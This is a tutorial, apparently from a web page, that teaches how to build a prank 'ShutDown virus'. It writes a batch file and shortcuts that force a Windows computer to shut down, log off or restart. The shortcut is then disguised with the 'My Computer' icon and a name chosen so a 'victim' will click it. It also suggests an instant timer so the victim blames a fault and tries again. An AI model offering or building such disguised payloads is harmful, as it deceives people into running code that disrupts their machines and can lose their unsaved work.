ShutDown virus

Method 1 of 2: Building the Virus

  1. Run Notepad.Notepad will allow you to input text with very little formatting. Click Start -> All Programs -> Accessories -> Notepad  – If you’re on a Mac, use TextEdit.1

Input a small batch file. Put the following into your text file (without the bullets):2

  • @echo off
  • echo Message here.
  • shutdown -s -f -t 60 -c “type a message you want to appear here.”3

 3 Click File, then Save As.4

 4 Name your file.5

5 Change the .txt extension to .bat or .cmd.6

6 Change the “.txt bar” to “All Files”.7

7 Click Save.

8 Close Notepad.

Method 2 of 2: Making a Fake Icon

1 Right click on the desktop and go over to “New,” then click “Shortcut”.8

2 For the location of the shortcut, choose your virus.9

3 Click “Next”.10

4 Give the shortcut a name that your victim will or might click on.

5 Click on “Finish”.

6 Right click on the shortcut you have just made and choose “Properties”.13

7 Click on the “Choose icon” button and scroll through the list of icons.14

Choose an icon that the name of your file.       16                                     Click on it and hit “OK” twice.

Note that this will not work on Windows 7 Pro

Anather method

Picture of Fake icon

Now i am going to tell you how to make fake icons that will shutdown/ log off / restart the victims computer.

When you make this use a 60 or more second time limit so the user has time to save all open work as if you do not it may make them angry and not so much a prank but with a time limit they have nothing to lose and will find it funny after.

There is two ways to do this but the way i am going to show you is easiest:
How to do it:
1.Right click on the desktop in a blank space.
2.Select new.
3.Click where it says create shortcut
4.Where it tells you to type a location type in one of the codes below:

If you want there computer to shutdown type this in:

shutdown -s -f -t 60 -c “type a message you want to appear here”

If you want it to log them off type this:

shutdown -l -f -t 60 -c “type a message you want to appear here”

If you want it to restart there computer type this:

shutdown -r -f -t 60 -c “type a message you want to appear here”

5.Click OK and name it My Computer.

6.Right click on the file you just made and click properties and look for where it says change icon.

7.find the icon that is the same as the “my computer” icon

8.change the icon and wait for the victim to open my computer, then it will shutdown / log off / restart.

9.HINT: If you set the time limit to 0000 it will shutdown instantly, so they may think it was some els wrong with the computer and try again …….

What each part of the code does:
shutdown << this is a program that has three basic commands shutdown , log off , restart.
-s << this will shutdown the computer
-r << this will restart the computer
-l << this will log off the computer
-f << this forces all programs running to shutdown
-t << this is the time limit until shutdown (the time is in seconds so if -t 60 means 60 seconds )

P.S if you want to try this on your computer and the shutdown timer starts, to stop it in run type shutdown -a



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